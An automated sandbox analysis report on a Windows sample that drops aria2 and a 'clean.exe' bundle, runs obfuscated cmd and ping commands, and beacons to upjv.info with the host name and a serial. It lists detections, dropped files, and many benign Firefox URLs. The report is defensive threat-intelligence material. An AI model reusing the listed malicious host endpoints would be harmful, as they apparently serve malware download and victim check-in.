                  behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1538480 Sample: SecuriteInfo.com.W32.Possib... Startdate: 21/10/2024 Architecture: WINDOWS Score: 76 56 upjv.info 2->56 58 youtube-ui.l.google.com 2->58 60 34 other IPs or domains 2->60 72 Multi AV Scanner detection for submitted file 2->72 74 Machine Learning detection for sample 2->74 76 AI detected suspicious sample 2->76 78 Yara detected BatToExe compiled binary 2->78 8 SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe 6 2->8         started        11 firefox.exe 1 2->11         started        signatures3 process4 file5 48 C:\Users\user\Desktop\ariac.exe, PE32+ 8->48 dropped 13 cmd.exe 22 8->13         started        17 conhost.exe 8->17         started        19 firefox.exe 3 230 11->19         started        process6 dnsIp7 50 C:\Users\user\TMP\...\ariac.exe, PE32+ 13->50 dropped 80 Obfuscated command line found 13->80 82 Uses ping.exe to sleep 13->82 84 Uses ping.exe to check the status of other devices and networks 13->84 86 Modifies existing user documents (likely ransomware behavior) 13->86 22 clean.exe 182 13->22         started        25 ariac.exe 4 13->25         started        28 PING.EXE 1 13->28         started        36 10 other processes 13->36 62 prod.detectportal.prod.cloudops.mozgcp.net 34.107.221.82, 49746, 49763, 49789 GOOGLEUS United States 19->62 64 push.services.mozilla.com 34.107.243.93, 443, 49803, 49866 GOOGLEUS United States 19->64 66 8 other IPs or domains 19->66 52 C:\Users\user\AppData\...\gmpopenh264.dll.tmp, PE32+ 19->52 dropped 54 C:\Users\user\...\gmpopenh264.dll (copy), PE32+ 19->54 dropped 30 firefox.exe 19->30         started        32 firefox.exe 19->32         started        34 firefox.exe 19->34         started        file8 signatures9 process10 dnsIp11 38 C:\Users\user\TMP\...\7zG.exe, PE32 22->38 dropped 40 C:\Users\user\TMP\...\7zFM.exe, PE32 22->40 dropped 42 C:\Users\user\TMP\...\7zCon.sfx, PE32 22->42 dropped 46 13 other files (none is malicious) 22->46 dropped 68 upjv.info 46.105.204.6, 49704, 49706, 49745 OVHFR France 25->68 44 C:\Users\user\TMP\...\clean.exe, PE32 25->44 dropped 70 127.0.0.1 unknown unknown 28->70 file12

                  Screenshots

                  Thumbnails

                  This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                  windows-stand

                  Antivirus, Machine Learning and Genetic Malware Detection

                  Initial Sample

                  SourceDetectionScannerLabelLink
                  SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe24%ReversingLabs
                  SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe100%Joe Sandbox ML

                  Dropped Files

                  SourceDetectionScannerLabelLink
                  C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll (copy)0%ReversingLabs
                  C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll.tmp0%ReversingLabs
                  C:\Users\user\Desktop\ariac.exe0%ReversingLabs
                  C:\Users\user\TMP\cr-20241021-53901\ariac.exe0%ReversingLabs
                  C:\Users\user\TMP\cr-20241021-53901\clean.exe0%ReversingLabs
                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\7-ZipPortable.exe4%ReversingLabs
                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\7-zip.dll0%ReversingLabs
                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\7-zip32.dll0%ReversingLabs
                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\7z.dll0%ReversingLabs
                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\7z.exe0%ReversingLabs
                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\7z.sfx0%ReversingLabs
                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\7zCon.sfx0%ReversingLabs
                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\7zFM.exe0%ReversingLabs
                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\7zG.exe0%ReversingLabs
                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7-zip.dll0%ReversingLabs
                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.dll2%ReversingLabs
                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exe0%ReversingLabs
                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.sfx0%ReversingLabs
                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7zCon.sfx0%ReversingLabs
                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7zFM.exe0%ReversingLabs
                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7zG.exe0%ReversingLabs

                  Unpacked PE Files

                  ⊘No Antivirus matches

                  Domains

                  ⊘No Antivirus matches

                  URLs

                  SourceDetectionScannerLabelLink
                  https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l0%URL Reputationsafe
                  https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%0%URL Reputationsafe
                  https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl0%URL Reputationsafe
                  https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.0%URL Reputationsafe
                  https://merino.services.mozilla.com/api/v1/suggest0%URL Reputationsafe
                  https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect0%URL Reputationsafe
                  https://www.leboncoin.fr/0%URL Reputationsafe
                  https://spocs.getpocket.com/spocs0%URL Reputationsafe
                  https://completion.amazon.com/search/complete?q=0%URL Reputationsafe
                  https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report0%URL Reputationsafe
                  https://identity.mozilla.com/ids/ecosystem_telemetryU0%URL Reputationsafe
                  https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab0%URL Reputationsafe
                  https://monitor.firefox.com/breach-details/0%URL Reputationsafe
                  https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM0%URL Reputationsafe
                  https://xhr.spec.whatwg.org/#sync-warning0%URL Reputationsafe
                  https://services.addons.mozilla.org/api/v4/addons/addon/0%URL Reputationsafe
                  https://tracking-protection-issues.herokuapp.com/new0%URL Reputationsafe
                  https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report0%URL Reputationsafe
                  https://content-signature-2.cdn.mozilla.net/0%URL Reputationsafe
                  https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report0%URL Reputationsafe
                  https://api.accounts.firefox.com/v10%URL Reputationsafe
                  https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabMozRequestFullSc0%URL Reputationsafe
                  https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections0%URL Reputationsafe
                  https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield0%URL Reputationsafe
                  https://MD8.mozilla.org/1/m0%URL Reputationsafe
                  https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=0%URL Reputationsafe
                  https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-1520%URL Reputationsafe
                  https://mitmdetection.services.mozilla.com/0%URL Reputationsafe
                  https://shavar.services.mozilla.com/0%URL Reputationsafe
                  https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL0%URL Reputationsafe
                  https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref0%URL Reputationsafe
                  https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture0%URL Reputationsafe
                  https://spocs.getpocket.com/0%URL Reputationsafe
                  https://services.addons.mozilla.org/api/v4/abuse/report/addon/0%URL Reputationsafe
                  https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%0%URL Reputationsafe
                  https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f0%URL Reputationsafe
                  https://monitor.firefox.com/user/breach-stats?includeResolved=true0%URL Reputationsafe
                  https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report0%URL Reputationsafe
                  https://bugzilla.mozilla.org/show_bug.cgi?id=15844640%URL Reputationsafe
                  http://a9.com/-/spec/opensearch/1.0/0%URL Reputationsafe
                  https://safebrowsing.google.com/safebrowsing/diagnostic?site=0%URL Reputationsafe
                  https://monitor.firefox.com/user/dashboard0%URL Reputationsafe
                  https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID0%URL Reputationsafe
                  https://monitor.firefox.com/about0%URL Reputationsafe
                  https://account.bellmedia.c0%URL Reputationsafe
                  https://login.microsoftonline.com0%URL Reputationsafe
                  https://coverage.mozilla.org0%URL Reputationsafe
                  http://crl.thawte.com/ThawteTimestampingCA.crl00%URL Reputationsafe
                  https://www.zhihu.com/0%URL Reputationsafe
                  http://x1.c.lencr.org/00%URL Reputationsafe
                  http://x1.i.lencr.org/00%URL Reputationsafe

                  Domains and IPs

                  Contacted Domains

                  NameIPActiveMaliciousAntivirus DetectionReputation
                  example.org
                  		93.184.215.14
                  		truefalse
                    		unknown
                    star-mini.c10r.facebook.com
                    		157.240.0.35
                    		truefalse
                      		unknown
                      upjv.info
                      		46.105.204.6
                      		truetrue
                        		unknown
                        prod.classify-client.prod.webservices.mozgcp.net
                        		35.190.72.216
                        		truefalse
                          		unknown
                          prod.balrog.prod.cloudops.mozgcp.net
                          		35.244.181.201
                          		truefalse
                            		unknown
                            twitter.com
                            		104.244.42.1
                            		truefalse
                              		unknown
                              prod.detectportal.prod.cloudops.mozgcp.net
                              		34.107.221.82
                              		truefalse
                                		unknown
                                services.addons.mozilla.org
                                		52.222.236.120
                                		truefalse
                                  		unknown
                                  dyna.wikimedia.org
                                  		185.15.59.224
                                  		truefalse
                                    		unknown
                                    prod.remote-settings.prod.webservices.mozgcp.net
                                    		34.149.100.209
                                    		truefalse
                                      		unknown
                                      contile.services.mozilla.com
                                      		34.117.188.166
                                      		truefalse
                                        		unknown
                                        prod.content-signature-chains.prod.webservices.mozgcp.net
                                        		34.160.144.191
                                        		truefalse
                                          		unknown
                                          youtube-ui.l.google.com
                                          		216.58.212.174
                                          		truefalse
                                            		unknown
                                            reddit.map.fastly.net
                                            		151.101.193.140
                                            		truefalse
                                              		unknown
                                              us-west1.prod.sumo.prod.webservices.mozgcp.net
                                              		34.149.128.2
                                              		truefalse
                                                		unknown
                                                ipv4only.arpa
                                                		192.0.0.170
                                                		truefalse
                                                  		unknown
                                                  prod.ads.prod.webservices.mozgcp.net
                                                  		34.117.188.166
                                                  		truefalse
                                                    		unknown
                                                    push.services.mozilla.com
                                                    		34.107.243.93
                                                    		truefalse
                                                      		unknown
                                                      normandy-cdn.services.mozilla.com
                                                      		35.201.103.21
                                                      		truefalse
                                                        		unknown
                                                        telemetry-incoming.r53-2.services.mozilla.com
                                                        		34.120.208.123
                                                        		truefalse
                                                          		unknown
                                                          www.reddit.com
                                                          		unknown
                                                          		unknownfalse
                                                            		unknown
                                                            spocs.getpocket.com
                                                            		unknown
                                                            		unknownfalse
                                                              		unknown
                                                              content-signature-2.cdn.mozilla.net
                                                              		unknown
                                                              		unknownfalse
                                                                		unknown
                                                                support.mozilla.org
                                                                		unknown
                                                                		unknownfalse
                                                                  		unknown
                                                                  firefox.settings.services.mozilla.com
                                                                  		unknown
                                                                  		unknownfalse
                                                                    		unknown
                                                                    www.youtube.com
                                                                    		unknown
                                                                    		unknownfalse
                                                                      		unknown
                                                                      www.facebook.com
                                                                      		unknown
                                                                      		unknownfalse
                                                                        		unknown
                                                                        detectportal.firefox.com
                                                                        		unknown
                                                                        		unknownfalse
                                                                          		unknown
                                                                          normandy.cdn.mozilla.net
                                                                          		unknown
                                                                          		unknownfalse
                                                                            		unknown
                                                                            shavar.services.mozilla.com
                                                                            		unknown
                                                                            		unknownfalse
                                                                              		unknown
                                                                              www.wikipedia.org
                                                                              		unknown
                                                                              		unknownfalse
                                                                                		unknown

                                                                                Contacted URLs

                                                                                NameMaliciousAntivirus DetectionReputation
                                                                                http://upjv.info/favicon.icofalse
                                                                                  		unknown

                                                                                  URLs from Memory and Binaries

                                                                                  NameSourceMaliciousAntivirus DetectionReputation
                                                                                  http://www.gnu.org/clean.exe, 00000005.00000003.2151715946.0000000002E80000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                    		unknown
                                                                                    http://detectportal.firefox.com8firefox.exe, 00000011.00000003.2445488547.00000243650FA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2482098631.00000243650FA000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                      		unknown
                                                                                      https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpfalse
                                                                                        		unknown
                                                                                        https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_lfirefox.exe, 00000011.00000003.2481936753.0000024365361000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2419798569.0000024365361000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3338371718.00000184C72C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3339469493.0000025EFE5C4000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                        • URL Reputation: safe
                                                                                        		unknown
                                                                                        http://upjv.info/clean/clean2.exeCommonProgramFiles=C:more.com, 0000000C.00000002.2226559592.00000000031B0000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.2226536723.0000000003130000.00000004.00000020.00020000.00000000.sdmp, ariac.exe, 0000000E.00000003.2237351744.0000000001B67000.00000004.00000020.00020000.00000000.sdmp, ariac.exe, 0000000E.00000003.2237260409.0000000001B66000.00000004.00000020.00020000.00000000.sdmp, ariac.exe, 0000000E.00000002.2238482972.0000000001B68000.00000004.00000020.00020000.00000000.sdmp, ariac.exe, 0000000E.00000002.2238231270.0000000001810000.00000004.00000020.00020000.00000000.sdmp, ariac.exe, 0000000E.00000002.2238569276.0000000001CB4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000000F.00000002.2244829208.00000295A9E94000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000000F.00000002.2244829208.00000295A9E90000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000000F.00000002.2243026015.00000295A9A50000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                          		unknown
                                                                                          https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpfalse
                                                                                          • URL Reputation: safe
                                                                                          		unknown
                                                                                          https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecyclfirefox.exe, 00000011.00000003.2400573242.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2380446020.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2305170781.0000024363831000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2427444409.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2305816782.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2374374159.0000024363830000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                          • URL Reputation: safe
                                                                                          		unknown
                                                                                          https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.firefox.exe, 00000014.00000002.3339591404.000001F5277C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3338371718.00000184C72EB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3342601193.0000025EFE703000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                          • URL Reputation: safe
                                                                                          		unknown
                                                                                          https://merino.services.mozilla.com/api/v1/suggestfirefox.exe, 00000017.00000002.3339469493.0000025EFE58F000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                          • URL Reputation: safe
                                                                                          		unknown
                                                                                          https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protectfirefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpfalse
                                                                                          • URL Reputation: safe
                                                                                          		unknown
                                                                                          https://www.leboncoin.fr/firefox.exe, 00000011.00000003.2444720249.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2477674869.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2320965039.000002435C167000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2476828386.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2326619496.0000024368363000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                          • URL Reputation: safe
                                                                                          		unknown
                                                                                          http://upjv.infWMIC.exe, 0000000B.00000003.2222855195.0000000002B1E000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 0000000B.00000002.2224959404.0000000002B1E000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                            		unknown
                                                                                            https://spocs.getpocket.com/spocsfirefox.exe, 00000011.00000003.2347364435.0000024368369000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2477581006.000002436844B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2320965039.000002435C167000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                            • URL Reputation: safe
                                                                                            		unknown
                                                                                            https://completion.amazon.com/search/complete?q=firefox.exe, 00000011.00000003.2260044945.000002435B750000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2259914575.000002435B736000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2259756769.000002435B71C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2260165444.000002435B76B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2260276730.000002435B783000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2259618778.0000024359200000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                            • URL Reputation: safe
                                                                                            		unknown
                                                                                            https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-reportfirefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpfalse
                                                                                            • URL Reputation: safe
                                                                                            		unknown
                                                                                            https://portableapps.com/support/portable_app#upgradingclean.exe, 00000005.00000003.2151715946.0000000002FBD000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                              		unknown
                                                                                              https://identity.mozilla.com/ids/ecosystem_telemetryUfirefox.exe, 00000011.00000003.2495445273.000002435E0D2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                              • URL Reputation: safe
                                                                                              		unknown
                                                                                              https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tabfirefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpfalse
                                                                                              • URL Reputation: safe
                                                                                              		unknown
                                                                                              https://monitor.firefox.com/breach-details/firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpfalse
                                                                                              • URL Reputation: safe
                                                                                              		unknown
                                                                                              http://upjv.info/clean/clean.php?serial=F2LEUD3EOHNUMBER_OF_PROCESSORS=2OneDrive=C:firefox.exe, 00000011.00000003.2250734124.000002434D112000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                		unknown
                                                                                                http://www.hot.ee/somberg/7zip.htmlclean.exe, 00000005.00000003.2151715946.0000000002E80000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                  		unknown
                                                                                                  https://github.com/w3c/csswg-drafts/issues/4650firefox.exe, 00000011.00000003.2320965039.000002435C167000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                    		unknown
                                                                                                    https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEMfirefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpfalse
                                                                                                    • URL Reputation: safe
                                                                                                    		unknown
                                                                                                    https://xhr.spec.whatwg.org/#sync-warningfirefox.exe, 00000011.00000003.2470456832.00000243689D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2474549451.00000243689D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2413873750.00000243689D6000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                    • URL Reputation: safe
                                                                                                    		unknown
                                                                                                    https://www.amazon.com/exec/obidos/external-search/firefox.exe, 00000011.00000003.2329912010.000002436336A000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                      		unknown
                                                                                                      https://www.msn.comfirefox.exe, 00000011.00000003.2491259190.000002435ED70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2421599733.000002435ED70000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                        		unknown
                                                                                                        https://portableapps.com/feeds/generalclean.exe, 00000005.00000003.2151715946.0000000002FBD000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                          		unknown
                                                                                                          http://upjv.infofirefox.exe, 00000011.00000003.2329912010.000002436336A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2347995544.00000243681FC000.00000004.00000800.00020000.00000000.sdmp, places.sqlite-wal.17.drtrue
                                                                                                            		unknown
                                                                                                            https://aria2.github.io/Usage:SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe, ariac.exe.2.drfalse
                                                                                                              		unknown
                                                                                                              https://github.com/mozilla-services/screenshotsfirefox.exe, 00000011.00000003.2260044945.000002435B750000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2259914575.000002435B736000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2259756769.000002435B71C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2260165444.000002435B76B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2259618778.0000024359200000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                		unknown
                                                                                                                https://services.addons.mozilla.org/api/v4/addons/addon/firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpfalse
                                                                                                                • URL Reputation: safe
                                                                                                                		unknown
                                                                                                                https://tracking-protection-issues.herokuapp.com/newfirefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpfalse
                                                                                                                • URL Reputation: safe
                                                                                                                		unknown
                                                                                                                https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-reportfirefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpfalse
                                                                                                                • URL Reputation: safe
                                                                                                                		unknown
                                                                                                                https://content-signature-2.cdn.mozilla.net/firefox.exe, 00000011.00000003.2332689238.000002435E4F6000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                • URL Reputation: safe
                                                                                                                		unknown
                                                                                                                http://upjv.info/clean/clea4firefox.exe, 00000017.00000002.3337176956.0000025EFE13A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                  		unknown
                                                                                                                  https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2https:firefox.exe, 00000011.00000003.2318855591.000002435C18C000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                    		unknown
                                                                                                                    https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-reportfirefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpfalse
                                                                                                                    • URL Reputation: safe
                                                                                                                    		unknown
                                                                                                                    https://www.7-zip.org/faq.htmlclean.exe, 00000005.00000003.2151715946.0000000002FBD000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                      		unknown
                                                                                                                      https://api.accounts.firefox.com/v1firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpfalse
                                                                                                                      • URL Reputation: safe
                                                                                                                      		unknown
                                                                                                                      https://aria2.github.io/SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe, ariac.exe.2.drfalse
                                                                                                                        		unknown
                                                                                                                        http://upjv.info/clean/entree.php?poste=%computername%SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe, 00000000.00000003.2897896794.0000000002644000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe, 00000000.00000003.2898005545.0000000002663000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe, 00000000.00000003.2897825964.0000000002940000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                          		unknown
                                                                                                                          https://www.amazon.com/firefox.exe, 00000011.00000003.2329837515.0000024368108000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2477674869.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2476828386.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2326619496.0000024368363000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                            		unknown
                                                                                                                            https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpfalse
                                                                                                                              		unknown
                                                                                                                              https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2firefox.exe, 00000011.00000003.2332689238.000002435E463000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                		unknown
